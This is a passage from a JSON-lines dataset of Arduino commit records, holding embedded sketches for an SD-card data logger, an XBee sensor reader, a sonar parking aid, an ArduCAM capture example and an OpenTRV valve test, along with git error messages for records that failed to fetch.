}\n const size_t sector_count = size \/ 512;\n if(sector_count) {\n if(!sd_fat.card()->writeBlocks(next_sector, buffer, sector_count)) {\n last_error = E_write_block;\n log(\"Error writing log file. Current sector: %u\\n\", next_sector);\n }\n next_sector += sector_count;\n size -= sector_count * 512;\n buffer += sector_count * 512;\n }\n if(size) {\n memcpy(partial_sector_buffer, buffer, size);\n partial_sector_len = size;\n }\n if(sync_blocks) sd_fat.card()->syncBlocks();\n return last_error == E_ok;\n }\n \n \/\/ Buffered data is written to disk, the file is truncated to the amount of data\n \/\/ that was written and then closed.\n void close() {\n last_error = E_ok;\n if(next_sector && partial_sector_len) {\n if(!sd_fat.card()->writeBlocks(next_sector, partial_sector_buffer, 1)) {\n last_error = E_write_block;\n log(\"Error writing log file. Current sector: %u\\n\", next_sector);\n }\n }\n if(next_sector) file.truncate((next_sector - first_sector - 1) * 512 + partial_sector_len);\n file.close();\n partial_sector_len = 0;\n first_sector = 0;\n last_sector = 0;\n next_sector = 0;\n }\n \n size_t getWriteSector() { return next_sector; }\n Error getLastError() { return last_error; }\n\nprivate:\n void log(const char* msg) { if(debuglog) debuglog->println(msg); }\n \n template<class... args_t>\n void log(args_t... args) { if(debuglog) debuglog->printf(args...); }\n \n File file;\n sd_fat_t& sd_fat;\n debuglog_t* debuglog = nullptr;\n uint32_t first_sector = 0;\n uint32_t last_sector = 0;\n uint32_t next_sector = 0;\n uint8_t partial_sector_buffer[512] __attribute__ ((aligned (4))) = {};\n size_t partial_sector_len = 0;\n Error last_error = E_ok;\n};\n\n\/\/ Store 'LogEntry's in 'LogBuffer'. Each buffer holds around 4200 bytes.\nusing MyLogBuffer = LogBuffer<LogEntry, 4200 \/ sizeof(LogEntry)>;\n\nconstexpr size_t log_buffer_count = 40;\nconst char* log_file_name = \"log.bin\";\nuint8_t sensor_pin = A0;\nuint32_t log_file_size = 2ull * 1024 * 1024 * 1024; \/\/ 2GB\n\/\/ PIT timer interval for invoking our data capture ISR.\nuint32_t capture_interval = 10; \/\/ in microseconds\n\n\/\/ Allocate storage for log buffers.\nstd::array<MyLogBuffer, log_buffer_count> log_buffers;\n\/\/ FIFO that holds pointers our empty log_buffers.\nFifoSpSc<MyLogBuffer*, log_buffer_count> empty_log_buffers;\n\/\/ Put all allocated log buffers into 'empty_log_buffers' FIFO.\nchar empty_log_buffers_init = [](){ \n for(size_t i = 0; i < log_buffer_count; i++) empty_log_buffers.push(&log_buffers[i]);\n return 0;\n}();\n\/\/ Filled log buffer FIFO.\nFifoSpSc<MyLogBuffer*, log_buffer_count> filled_log_buffers;\n\nauto& serial = Serial;\n\/\/ Count the number of times our log buffers overflow.\nstd::atomic<size_t> buffer_overflow_counter;\n\n\nSdFatSdioEX sd_fat;\nbool logging_finished = false;\nsize_t written_bytes = 0;\nsize_t max_buffers_used = 0;\n\n\n\/\/ Add log entry to log buffers.\nvoid logEntry(const LogEntry& log_entry) {\n static MyLogBuffer* log_buffer = nullptr;\n if(!log_buffer) {\n if(empty_log_buffers.empty()) {\n buffer_overflow_counter++;\n return;\n } else {\n log_buffer = empty_log_buffers.pop();\n }\n }\n log_buffer->addEntry(log_entry);\n if(log_buffer->full()) {\n filled_log_buffers.push(log_buffer);\n log_buffer = nullptr;\n }\n}\n\n\/\/ ISR, periodically triggered by PIT timer. It creates some dummy\n\/\/ log entries. Put your data capturing here.\nvoid captureData() {\n uint32_t time = micros();\n static uint32_t counter = 0;\n static uint32_t record_offset = 0;\n \n logEntry( { counter, record_offset, time, 0x42424242 } );\n counter++;\n record_offset += sizeof(LogEntry);\n}\n\nvoid setup() {\n pinMode(LED_BUILTIN, OUTPUT);\n serial.begin(115200);\n delay(2000);\n serial.println(\"Initializing SD.\");\n\n if (!sd_fat.begin()) {\n serial.println(\"SD init failed.\");\n return;\n }\n serial.println(\"SD init done.\");\n\n using file_t = PreallocatedFile<decltype(sd_fat), std::remove_reference<decltype(serial)>::type>;\n file_t file(sd_fat, &serial);\n file.create(log_file_name, log_file_size);\n serial.println(\"Log file allocated and pre-erased.\");\n serial.println(\"\\nPress 'c' to terminate logging.\\n\");\n\n elapsedMillis report_timer;\n IntervalTimer data_capture_timer;\n data_capture_timer.begin(captureData, capture_interval);\n\n while(true) {\n \/\/ If we have a filled log buffer, write it to SD.\n if(!filled_log_buffers.empty()) {\n max_buffers_used = std::max(max_buffers_used, empty_log_buffers.capacity() - empty_log_buffers.size());\n MyLogBuffer* log_buffer = filled_log_buffers.pop();\n if(!file.write(log_buffer->rawData(), log_buffer->rawSize())) {\n if(file.getLastError() == file.E_eof) {\n file.close();\n serial.println(\"Log file full. Logging finished.\");\n return; \n }\n \/\/ ignore other write errors, hopefully subsequent writes will succeed\n }\n written_bytes += log_buffer->rawSize();\n *log_buffer = {};\n empty_log_buffers.push(log_buffer);\n }\n if(report_timer > 5000) {\n serial.printf(\"elapsed: %us bytes written: %u buffer overflow count: %u\\n\", \n millis() \/ 1000, written_bytes, buffer_overflow_counter.load());\n serial.printf(\"next write sector: %u max buffers used during last 5s: %u\\n\", \n file.getWriteSector(), max_buffers_used);\n report_timer = 0;\n max_buffers_used = 0;\n }\n if(serial.available()) {\n if(serial.read() == 'c') {\n file.close();\n serial.println(\"Logging finished.\");\n return;\n }\n }\n }\n}\n\n\/\/ Running when an error is encountered or when logging is finished.\nvoid loop() {\n digitalWrite(LED_BUILTIN, HIGH);\n delay(200);\n digitalWrite(LED_BUILTIN, LOW);\n delay(200);\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SdFatSDIO_low_latency_logger.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"9f05749f92dfe0a6a6a52902c5765f78eed248eb","subject":"Added SHT heating code.","message":"Added SHT heating code.\n","repos":"spoollord\/MyOurWeather,spoollord\/MyOurWeather","old_file":"MyOurWeather.ino","new_file":"MyOurWeather.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/spoollord\/MyOurWeather.git\/'\n","license":"isc","lang":"Arduino"} {"commit":"b604f17feb857204a89cd0d4f31a3c8117649385","subject":"xBee_2.0","message":"xBee_2.0\n","repos":"andreasnj\/P3-Crustcrawler_2.0,andreasnj\/P3-Crustcrawler_2.0,andreasnj\/P3-Crustcrawler_2.0,andreasnj\/P3-Crustcrawler_2.0","old_file":"XBee_rob_function_2.0\/xBee_2.0\/xBee_2.0.ino","new_file":"XBee_rob_function_2.0\/xBee_2.0\/xBee_2.0.ino","new_contents":"#include <Dynamixel_Serial.h>\n\/\/#include <readxBee.h>\n\nint x, y, z, emg1, emg2;\nint infoPk[24];\n\nint actualName(){\n if(Serial1.available() >= 24){\n if (Serial1.read() == 0x7E){\n for (int i = 0; i < 22 ; i++){\n byte jelly = Serial1.read();\n infoPk[i] = jelly;\n }\n for(int a = 13; a < 22; a++) {\n x = infoPk[15] + (infoPk[14] << 8);\n y = infoPk[13] + (infoPk[12] << 8);\n z = infoPk[17] + (infoPk[16] << 8);\n emg1 = infoPk[11] + (infoPk[10] << 8);\n emg2 = infoPk[19] + (infoPk[18] << 8);\n }\n Serial.print(\" X = \");\n Serial.print(x);\n Serial.print(\" Y = \");\n Serial.print(y);\n Serial.print(\" Z = \");\n Serial.print(z);\n Serial.print(\" EMG Ch.1 = \");\n Serial.print(emg1);\n Serial.print(\" EMG Ch.2 = \");\n Serial.print(emg2);\n Serial.println();\n\n }\n }\n}\nvoid setup() {\n Serial.begin(115200);\n Serial1.begin(115200);\n}\n\nvoid loop() {\n actualName();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'XBee_rob_function_2.0\/xBee_2.0\/xBee_2.0.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"942d63d407834bbce62097ae5f827e6b1cd84001","subject":"_08_kidSerie_sketch_01.No_Bluetooth.ino.ino","message":"_08_kidSerie_sketch_01.No_Bluetooth.ino.ino\n\n_08_kidSerie_sketch_01.No_Bluetooth.ino.ino","repos":"giljr\/kidSeries,giljr\/kidSeries,giljr\/kidSeries","old_file":"_08_kidSerie_sketch_01.No_Bluetooth.ino.ino","new_file":"_08_kidSerie_sketch_01.No_Bluetooth.ino.ino","new_contents":"\/*\n Project name: \n Park Assist I w\/ MIT App Inventor 2 - Bluetooth + Arduino + MIT App + HC-SR04 Sonar #kidSerie\u200a\u201408\n Flavour I - With Bluetooth\n Hex File: _08_kidSerie_sketch_01.No_Bluetooth.ino\n Revision History:\n 14\/05\/2017:\nDescription:\n How about that, sound and vibrate your cell? There you are! \n Here is a Golpe de Vista circuit for building garages that are getting tighter and tighter.\n \n MCU: Arduino 1.8.2 - @16MHz http:\/\/www.arduino.cc\/\nIC Chip: Bluetooth Datasheet - HC-06 https:\/\/goo.gl\/s9ZcNC\nConnections:\n See Official youtube channel vids: https:\/\/goo.gl\/pj20lS\n \nBased on: see bellow\n \nThis program is free software: you can redistribute it and\/or modify\nit under the terms of the GNU General Public License v3 as published by the Free Software Foundation\n \n*\/\n\/*\n HC-SR04 Ping distance sensor]\n VCC to arduino 5v GND to arduino GND\n Echo to Arduino pin 13 Trig to Arduino pin 12\n Red POS to Arduino pin 11\n Green POS to Arduino pin 10\n 560 ohm resistor to both LED NEG and GRD power rail\n More info at: http:\/\/goo.gl\/kJ8Gl\n Original code improvements to the Ping sketch sourced from Trollmaker.com\n Some code and wiring inspired by http:\/\/en.wikiversity.org\/wiki\/User:Dstaub\/robotcar\n*\/\n\n#define trigPin 13\n#define echoPin 12\n#define stop_LED 11\n#define go_LED 10\n\nvoid setup() {\n\n pinMode(trigPin, OUTPUT);\n pinMode(echoPin, INPUT);\n pinMode(stop_LED, OUTPUT);\n pinMode(go_LED, OUTPUT);\n}\n\nvoid loop() {\n long duration, distance;\n digitalWrite(trigPin, LOW); \/\/ Added this line\n delayMicroseconds(2); \/\/ Added this line\n digitalWrite(trigPin, HIGH);\n \/\/ delayMicroseconds(1000); - Removed this line\n delayMicroseconds(10); \/\/ Added this line\n digitalWrite(trigPin, LOW);\n duration = pulseIn(echoPin, HIGH);\n distance = (duration ) \/ 58.2;\n if (distance < 5) { \/\/ This is where the LED On\/Off happens\n digitalWrite(stop_LED, HIGH); \/\/ When the Red condition is met, the Green LED should turn off\n digitalWrite(go_LED, LOW);\n }\n else {\n digitalWrite(stop_LED, LOW);\n digitalWrite(go_LED, HIGH);\n }\n delay(500);\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_08_kidSerie_sketch_01.No_Bluetooth.ino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6597ea9fce2571c1e837b28e4956686d8fe5d3f9","subject":"Add ArduCAM mini 5MP Low Power example","message":"Add ArduCAM mini 5MP Low Power example\n","repos":"Oitzu\/Arduino,ArduCAM\/Arduino,Oitzu\/Arduino,Oitzu\/Arduino,timkrentz\/SunTracker,timkrentz\/SunTracker,timkrentz\/SunTracker,ArduCAM\/Arduino,timkrentz\/SunTracker,timkrentz\/SunTracker,ArduCAM\/Arduino,timkrentz\/SunTracker,timkrentz\/SunTracker,timkrentz\/SunTracker","old_file":"ArduCAM\/examples\/mini\/ArduCAM_Mini_OV5642_LowPowerMode\/ArduCAM_Mini_OV5642_LowPowerMode.ino","new_file":"ArduCAM\/examples\/mini\/ArduCAM_Mini_OV5642_LowPowerMode\/ArduCAM_Mini_OV5642_LowPowerMode.ino","new_contents":"#include <Wire.h>\n#include <ArduCAM.h>\n#include <SPI.h>\n#include \"memorysaver.h\"\n\n\/\/ set pin 4 as the slave select for the digital pot:\nconst int CS = 4;\n\nArduCAM myCAM(OV5642,CS);\n\nvoid setup() {\n uint8_t vid,pid;\n uint8_t temp;\n#if defined (__AVR__)\n Wire.begin(); \n#endif\n#if defined(__arm__)\n Wire1.begin();\n#endif \n Serial.begin(921600);\n Serial.println(\"ArduCAM Start!\"); \n\n \/\/ set the SPI_CS as an output:\n pinMode(CS, OUTPUT);\n\n \/\/ initialize SPI:\n SPI.begin(); \n \/\/Check if the ArduCAM SPI bus is OK\n myCAM.write_reg(ARDUCHIP_TEST1, 0x55);\n temp = myCAM.read_reg(ARDUCHIP_TEST1);\n \/\/Serial.println(temp);\n if(temp != 0x55)\n {\n Serial.println(\"SPI1 interface Error!\");\n \/\/while(1);\n }\n\n \/\/Check if the camera module type is OV5642\n myCAM.rdSensorReg16_8(OV5642_CHIPID_HIGH, &vid);\n myCAM.rdSensorReg16_8(OV5642_CHIPID_LOW, &pid);\n if((vid != 0x56) || (pid != 0x42))\n Serial.println(\"Can't find OV5642 module!\");\n else\n Serial.println(\"OV5642 detected.\");\n \n \/\/Change to JPEG capture mode and initialize the OV5642 module\t\n myCAM.set_format(JPEG);\n myCAM.InitCAM();\n myCAM.write_reg(ARDUCHIP_TIM, VSYNC_LEVEL_MASK);\n \n myCAM.clear_fifo_flag();\n myCAM.write_reg(ARDUCHIP_FRAMES,0x00);\n myCAM.set_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\/\/enable low power\n}\n\nvoid loop() {\n uint8_t temp,temp_last;\n uint8_t start_capture = 0;\n\n temp = Serial.read();\n switch(temp)\n {\n case 0:\n myCAM.clear_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\n myCAM.OV5642_set_JPEG_size(OV5642_320x240);\n myCAM.set_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\n break;\n case 1:\n myCAM.clear_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\n myCAM.OV5642_set_JPEG_size(OV5642_640x480);\n myCAM.set_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\n break;\n case 2:\n myCAM.clear_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\n myCAM.OV5642_set_JPEG_size(OV5642_1280x720);\n myCAM.set_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\n break;\n case 3:\n myCAM.clear_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\n myCAM.OV5642_set_JPEG_size(OV5642_1920x1080);\n myCAM.set_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\n break;\n case 4:\n myCAM.clear_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\n myCAM.OV5642_set_JPEG_size(OV5642_2048x1563);\n myCAM.set_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\n break;\n case 5:\n myCAM.clear_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\n myCAM.OV5642_set_JPEG_size(OV5642_2592x1944);\n myCAM.set_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\n break;\n case 0x10:\n start_capture = 1; \n Serial.println(\"CAM1 start single shot.\");\n myCAM.clear_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\/\/disable low power\n \n delay(800);\n break;\n default:\n break;\n }\n if(start_capture == 1)\n {\n myCAM.flush_fifo();\n myCAM.clear_fifo_flag();\t \n \/\/Start capture\n myCAM.start_capture();\n start_capture = 0;\n }\n if(myCAM.get_bit(ARDUCHIP_TRIG, CAP_DONE_MASK))\n {\n myCAM.set_bit(ARDUCHIP_GPIO,GPIO_PWDN_MASK);\n Serial.println(\"CAM1 Capture Done!\");\n temp = 0;\n while( (temp != 0xD9) | (temp_last != 0xFF) )\n {\n temp_last = temp;\n temp = myCAM.read_fifo();\n Serial.write(temp);\n delayMicroseconds(10);\n }\n \/\/Clear the capture done flag \n myCAM.clear_fifo_flag(); \n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduCAM\/examples\/mini\/ArduCAM_Mini_OV5642_LowPowerMode\/ArduCAM_Mini_OV5642_LowPowerMode.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cbe69aa1d91d1c4f79be02abbb586a12169c76cb","subject":"Tidy up","message":"Tidy up\n","repos":"freephases\/lenr-logger","old_file":"LENR_Logger_0_0_1_0.ino","new_file":"LENR_Logger_0_0_1_0.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/freephases\/lenr-logger.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a2447a659007142a32890cc5afb27f21953dfc23","subject":"FIX night and PWM flickering on pins that use timer3","message":"FIX night and PWM flickering on pins that use timer3\n","repos":"ArduProg\/arduino,ArduProg\/arduino,wiiproSK\/arduino,ArduProg\/arduino,wiiproSK\/arduino","old_file":"LEDAquaduino\/LEDAquaduino\/LEDAquaduino.ino","new_file":"LEDAquaduino\/LEDAquaduino\/LEDAquaduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/wiiproSK\/arduino.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"02168328a34f5787a53b4d5176c98a3bdc442d73","subject":"Add new piano revision from Tim with adjustable volume knob","message":"Add new piano revision from Tim with adjustable volume knob\n","repos":"CymaSpace\/Light-Installations","old_file":"LED Piano\/Playme_Piano_v4_light_sensor_adjustable_volume_input\/Playme_Piano_v4_light_sensor_adjustable_volume_input.ino","new_file":"LED Piano\/Playme_Piano_v4_light_sensor_adjustable_volume_input\/Playme_Piano_v4_light_sensor_adjustable_volume_input.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'LED' did not match any file(s) known to git\nerror: pathspec 'Piano\/Playme_Piano_v4_light_sensor_adjustable_volume_input\/Playme_Piano_v4_light_sensor_adjustable_volume_input.ino' did not match any file(s) known to git\n","license":"artistic-2.0","lang":"Arduino"} {"commit":"be988a7aade293427a67fc52f2430f14eb14f91f","subject":"Remise en place des commande moteur","message":"Remise en place des commande moteur\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Moteur\/Software\/Asservissement\/Asservissement_vitesse_2.5\/Asservissement_vitesse_2.5\/Asservissement_vitesse_2.5.ino","new_file":"Module Moteur\/Software\/Asservissement\/Asservissement_vitesse_2.5\/Asservissement_vitesse_2.5\/Asservissement_vitesse_2.5.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Moteur\/Software\/Asservissement\/Asservissement_vitesse_2.5\/Asservissement_vitesse_2.5\/Asservissement_vitesse_2.5.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"aa51c05b7e2a7d78b84fc6e86ba8645ab7f58e03","subject":"not working...","message":"not working...","repos":"opentrv\/OpenTRV-Arduino-V0p2,opentrv\/OpenTRV-Arduino-V0p2,opentrv\/OpenTRV-Arduino-V0p2","old_file":"Arduino\/hardware\/V0p2_Main_PCB_REV7_DORM1_and_REV8\/testsuite\/201706\/REV7CallForHeat\/REV7CallForHeat.ino","new_file":"Arduino\/hardware\/V0p2_Main_PCB_REV7_DORM1_and_REV8\/testsuite\/201706\/REV7CallForHeat\/REV7CallForHeat.ino","new_contents":"\/*\nThe OpenTRV project licenses this file to you\nunder the Apache Licence, Version 2.0 (the \"Licence\");\nyou may not use this file except in compliance\nwith the Licence. You may obtain a copy of the Licence at\n\nhttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the Licence is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied. See the Licence for the\nspecific language governing permissions and limitations\nunder the Licence.\n\nAuthor(s) \/ Copyright (s): Deniz Erbilgin 2016\n*\/\n\/**\n * Minimal REV7 config for testing power consumption.\n * Aim is to:\n * - todo init GPIO pins to safe mode.\n * - todo init peripherals to safe low power mode.\n * - loop endlessly.\n *\/\n\n\/\/ INCLUDES & DEFINES\n\/\/ Debug output flag\n#define DEBUG\n\/\/ REV7 \/ DORM1 all-in-one valve unit, secure TX.\n#define CONFIG_DORM1\n\/\/ Get defaults for valve applications.\n#include <OTV0p2_valve_ENABLE_defaults.h>\n\/\/ All-in-one valve unit (DORM1).\n#include <OTV0p2_CONFIG_REV7.h>\n\/\/ I\/O pin allocation and setup: include ahead of I\/O module headers.\n#include <OTV0p2_Board_IO_Config.h>\n\/\/ OTV0p2Base Libraries\n#include <OTV0p2Base.h>\n\/\/ Radio Libraries\n\/\/#include <OTRadioLink.h>\n#include <OTRFM23BLink.h>\n\/\/ RadValve libraries\n#include <OTRadValve.h>\n#include <OTAESGCM.h>\n\n\n\/\/ Debugging output\n#ifndef DEBUG\n#define DEBUG_SERIAL_PRINT(s) \/\/ Do nothing.\n#define DEBUG_SERIAL_PRINTFMT(s, format) \/\/ Do nothing.\n#define DEBUG_SERIAL_PRINT_FLASHSTRING(fs) \/\/ Do nothing.\n#define DEBUG_SERIAL_PRINTLN_FLASHSTRING(fs) \/\/ Do nothing.\n#define DEBUG_SERIAL_PRINTLN() \/\/ Do nothing.\n#define DEBUG_SERIAL_TIMESTAMP() \/\/ Do nothing.\n#else\n\/\/ Send simple string or numeric to serial port and wait for it to have been sent.\n\/\/ Make sure that Serial.begin() has been invoked, etc.\n#define DEBUG_SERIAL_PRINT(s) { OTV0P2BASE::serialPrintAndFlush(s); }\n#define DEBUG_SERIAL_PRINTFMT(s, fmt) { OTV0P2BASE::serialPrintAndFlush((s), (fmt)); }\n#define DEBUG_SERIAL_PRINT_FLASHSTRING(fs) { OTV0P2BASE::serialPrintAndFlush(F(fs)); }\n#define DEBUG_SERIAL_PRINTLN_FLASHSTRING(fs) { OTV0P2BASE::serialPrintlnAndFlush(F(fs)); }\n#define DEBUG_SERIAL_PRINTLN() { OTV0P2BASE::serialPrintlnAndFlush(); }\n\/\/ Print timestamp with no newline in format: MinutesSinceMidnight:Seconds:SubCycleTime\nextern void _debug_serial_timestamp();\n#define DEBUG_SERIAL_TIMESTAMP() _debug_serial_timestamp()\n#endif \/\/ DEBUG\n\n\/\/ OBJECTS & VARIABLES\n\/**\n * Peripherals present on REV7\n * - Pot Set input to Hi-Z? +\n * - PHT IO_POWER_UP LOW\n * - Encoder IO_POWER_UP LOW\n * - LED Set pin HIGH?\n * - Button Set to INPUT\n * - H-Bridge Control pins HIGH, Current sense set to input. +\n * - SHT21 read() once. +\n * - RFM23B ?? +\n * - XTAL Setup and leave running?\n * - UART Disable\n *\/\n\n\/**\n * Dummy Types\n *\/\n\/\/ Placeholder class with dummy static status methods to reduce code complexity.\ntypedef OTV0P2BASE::DummySensorOccupancyTracker OccupancyTracker;\n\n\/**\n * Supply Voltage instance\n *\/\n\/\/ Sensor for supply (eg battery) voltage in millivolts.\n\/\/ Singleton implementation\/instance.\nOTV0P2BASE::SupplyVoltageCentiVolts Supply_cV;\n\n\/*\n * Radio instance\n *\/\nstatic constexpr uint8_t RFM22_PREAMBLE_BYTES = 5; \/\/ Recommended number of preamble bytes for reliable reception.\nstatic constexpr uint8_t RFM22_SYNC_MIN_BYTES = 3; \/\/ Minimum number of sync bytes.\n\/\/ Send the underlying stats binary\/text 'whitened' message.\n\/\/ This must be terminated with an 0xff (which is not sent),\n\/\/ and no longer than STATS_MSG_MAX_LEN bytes long in total (excluding the terminating 0xff).\n\/\/ This must not contain any 0xff and should not contain long runs of 0x00 bytes.\n\/\/ The message to be sent must be written at an offset of STATS_MSG_START_OFFSET from the start of the buffer.\n\/\/ This routine will alter the content of the buffer for transmission,\n\/\/ and the buffer should not be re-used as is.\n\/\/ * doubleTX double TX to increase chance of successful reception\n\/\/ * RFM23BfriendlyPremable if true then add an extra preamble\n\/\/ to allow RFM23B-based receiver to RX this\n\/\/ This will use whichever transmission medium\/carrier\/etc is available.\nstatic constexpr uint8_t STATS_MSG_START_OFFSET = (RFM22_PREAMBLE_BYTES + RFM22_SYNC_MIN_BYTES);\nstatic constexpr uint8_t STATS_MSG_MAX_LEN = (64 - STATS_MSG_START_OFFSET);\n \nstatic constexpr bool RFM23B_allowRX = false;\n \nstatic constexpr uint8_t RFM23B_RX_QUEUE_SIZE = OTRFM23BLink::DEFAULT_RFM23B_RX_QUEUE_CAPACITY;\nstatic constexpr int8_t RFM23B_IRQ_PIN = -1;\/\/ PIN_RFM_NIRQ;\nOTRFM23BLink::OTRFM23BLink<OTV0P2BASE::V0p2_PIN_SPI_nSS, RFM23B_IRQ_PIN, RFM23B_RX_QUEUE_SIZE, RFM23B_allowRX> PrimaryRadio;\/\/RFM23B;\n\/\/ Pick an appropriate radio config for RFM23 (if it is the primary radio).\n\/\/ Nodes talking on fast GFSK channel 0.\nstatic const uint8_t nPrimaryRadioChannels = 1;\nstatic const OTRadioLink::OTRadioChannelConfig RFM23BConfigs[nPrimaryRadioChannels] = {\n \/\/ GFSK channel 0 full config, RX\/TX, not in itself secure.\n OTRadioLink::OTRadioChannelConfig(OTRFM23BLink::StandardRegSettingsGFSK57600, true), };\n\n\/*\n * SHT21 instance\n *\/\nOTV0P2BASE::RoomTemperatureC16_SHT21 TemperatureC16; \/\/ SHT21 impl.\n\n\/\/ HUMIDITY_SENSOR_SUPPORT is defined if at least one humidity sensor has support compiled in.\n\/\/ Simple implementations can assume that the sensor will be present if defined;\n\/\/ more sophisticated implementations may wish to make run-time checks.\n\/\/ If SHT21 support is enabled at compile-time then its humidity sensor may be used at run-time.\n\/\/ Singleton implementation\/instance.\ntypedef OTV0P2BASE::HumiditySensorSHT21 RelHumidity_t;\nRelHumidity_t RelHumidity;\n\n\/**\n * Temp pot\n *\/\n\/\/ Sensor for temperature potentiometer\/dial UI control.\n\/\/ Correct for DORM1\/TRV1 with embedded REV7.\n\/\/ REV7 does not drive pot from IO_POWER_UP.\ntypedef OTV0P2BASE::SensorTemperaturePot<OccupancyTracker, nullptr, 48, 296, false> TempPot_t;\nTempPot_t TempPot;\n\n\/**\n * Ambient Light Sensor\n *\/\ntypedef OTV0P2BASE::SensorAmbientLight AmbientLight;\n\/\/ Singleton implementation\/instance.\nAmbientLight AmbLight;\n\n\/**\n * Valve Actuator\n *\/\n\/\/ DORM1\/REV7 direct drive motor actuator.\nstatic constexpr bool binaryOnlyValveControl = false;\nstatic constexpr uint8_t m1 = MOTOR_DRIVE_ML;\nstatic constexpr uint8_t m2 = MOTOR_DRIVE_MR;\nstatic constexpr uint8_t mSleep = OTRadValve::MOTOR_DRIVE_NSLEEP_UNUSED;\ntypedef OTRadValve::ValveMotorDirectV1<OTRadValve::ValveMotorDirectV1HardwareDriver, m1, m2, MOTOR_DRIVE_MI_AIN, MOTOR_DRIVE_MC_AIN, mSleep, decltype(Supply_cV), &Supply_cV> ValveDirect_t;\/\/ Singleton implementation\/instance.\n\/\/ Suppress unnecessary activity when room dark, eg to avoid disturbance if device crashes\/restarts,\n\/\/ unless recent UI use because value is being fitted\/adjusted.\nValveDirect_t ValveDirect([](){return(AmbLight.isRoomDark());});\n\n\/\/ FUNCTIONS\n\n\/**\n * Panic Functions\n *\/\n\/\/ Indicate that the system is broken in an obvious way (distress flashing the main LED).\n\/\/ DOES NOT RETURN.\n\/\/ Tries to turn off most stuff safely that will benefit from doing so, but nothing too complex.\n\/\/ Tries not to use lots of energy so as to keep distress beacon running for a while.\nvoid panic()\n{\n \/\/ Reset radio and go into low-power mode.\n PrimaryRadio.panicShutdown();\n \/\/ Power down almost everything else...\n OTV0P2BASE::minimisePowerWithoutSleep();\n pinMode(OTV0P2BASE::LED_HEATCALL_L, OUTPUT);\n for( ; ; )\n {\n OTV0P2BASE::LED_HEATCALL_ON();\n OTV0P2BASE::nap(WDTO_15MS);\n OTV0P2BASE::LED_HEATCALL_OFF();\n OTV0P2BASE::nap(WDTO_120MS);\n }\n}\n\/\/ Panic with fixed message.\nvoid panic(const __FlashStringHelper *s)\n{\n OTV0P2BASE::serialPrintlnAndFlush(); \/\/ Start new line to highlight error. \/\/ May fail.\n OTV0P2BASE::serialPrintAndFlush('!'); \/\/ Indicate error with leading '!' \/\/ May fail.\n OTV0P2BASE::serialPrintlnAndFlush(s); \/\/ Print supplied detail text. \/\/ May fail.\n panic();\n}\n\n\n\/**\n * @brief Set pins and on-board peripherals to safe low power state.\n *\/\n\n\n\/\/ Managed JSON stats.\nstatic OTV0P2BASE::SimpleStatsRotation<12> ss1; \/\/ Configured for maximum different stats. \/\/ FIXME increased for voice & for setback lockout\n\/\/ Do bare stats transmission.\n\/\/ Output should be filtered for items appropriate\n\/\/ to current channel security and sensitivity level.\n\/\/ This is JSON format.\n\/\/ Sends stats on primary radio channel 0 with possible duplicate to secondary channel.\n\/\/ If sending encrypted then ID\/counter fields (eg @ and + for JSON) are omitted\n\/\/ as assumed supplied by security layer to remote recipent.\nvoid callForHeatTX()\n{\n \/\/ Note if radio\/comms channel is itself framed.\n const bool framed = !PrimaryRadio.getChannelConfig()->isUnframed;\n const bool neededWaking = OTV0P2BASE::powerUpSerialIfDisabled<>();\n \nstatic_assert(OTV0P2BASE::FullStatsMessageCore_MAX_BYTES_ON_WIRE <= STATS_MSG_MAX_LEN, \"FullStatsMessageCore_MAX_BYTES_ON_WIRE too big\");\nstatic_assert(OTV0P2BASE::MSG_JSON_MAX_LENGTH+1 <= STATS_MSG_MAX_LEN, 